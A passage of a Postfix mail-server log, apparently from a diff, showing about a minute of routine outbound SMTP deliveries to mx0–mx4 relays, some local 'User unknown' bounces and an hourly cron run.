(250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[15935]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[16428]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[17457]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[19325]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[19415]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[19791]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[19960]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[22084]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:10 mail-server postfix/smtp[24618]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:10 mail-server postfix/smtp[28164]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:15 mail-server postfix/smtp[11706]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[13424]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[13667]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[15757]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[16928]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[16963]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[18012]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[18156]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[18556]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:15 mail-server postfix/smtp[23023]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:15 mail-server postfix/smtp[28271]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:15 mail-server postfix/smtp[28554]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:20 mail-server CRON[2481]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:20 mail-server postfix/smtp[10184]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[10518]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[10644]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[11699]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[12662]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[13032]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[14323]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[14507]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[14871]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[15537]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[16692]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[17364]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[20459]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:20 mail-server postfix/smtp[22797]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:20 mail-server postfix/smtp[25409]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:25 mail-server postfix/smtp[10892]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:25 mail-server postfix/smtp[13474]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:25 mail-server postfix/smtp[13712]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:25 mail-server postfix/smtp[13866]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:25 mail-server postfix/smtp[14468]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:25 mail-server postfix/smtp[20740]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:25 mail-server postfix/smtp[21662]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:25 mail-server postfix/smtp[21674]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:30 mail-server postfix/smtp[10991]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[11496]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[11568]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[11637]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[13097]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[13249]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[14605]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[16983]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[19874]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[20631]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:30 mail-server postfix/smtp[23000]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:35 mail-server postfix/smtp[10296]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:35 mail-server postfix/smtp[11390]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:35 mail-server postfix/smtp[13767]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:35 mail-server postfix/smtp[15665]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:35 mail-server postfix/smtp[18788]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:35 mail-server postfix/smtp[19539]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:35 mail-server postfix/smtp[22266]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:35 mail-server postfix/smtp[23498]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:40 mail-server postfix/smtp[11577]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[14204]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[17568]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[18008]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[19306]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[19426]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[24665]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:45 mail-server postfix/smtp[11218]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[11442]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[11592]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[11624]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[12463]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[13368]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[13432]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[13507]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[14323]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[15090]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[16732]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[18413]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[24801]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:50 mail-server postfix/smtp[10466]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[11722]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[13015]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[14031]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[16087]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[16107]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[16202]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[16875]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[17583]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[23804]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:55 mail-server postfix/smtp[10377]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[10670]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[11130]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[12441]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[12465]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[14321]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[15010]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[15425]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[18075]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[19413]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[21974]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:55 mail-server postfix/smtp[25985]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:04:00 mail-server postfix/smtp[12146]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[13206]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[13622]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[14641]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[16374]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[17302]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[19309]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[22742]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:04:05 mail-server postfix/smtp[11234]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[11392]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[12426]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[13244]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[14328]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[14518]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[16388]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[17980]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[18858]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[18918]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[19690]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[19992]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[24029]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:04:10 mail-server postfix/smtp[10182]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[13282]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[14467]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[16451]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[17025]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[17119]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[17511]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[17996]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[18136]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[18828]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[18845]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[19101]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[19947]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[19955]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[24610]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, 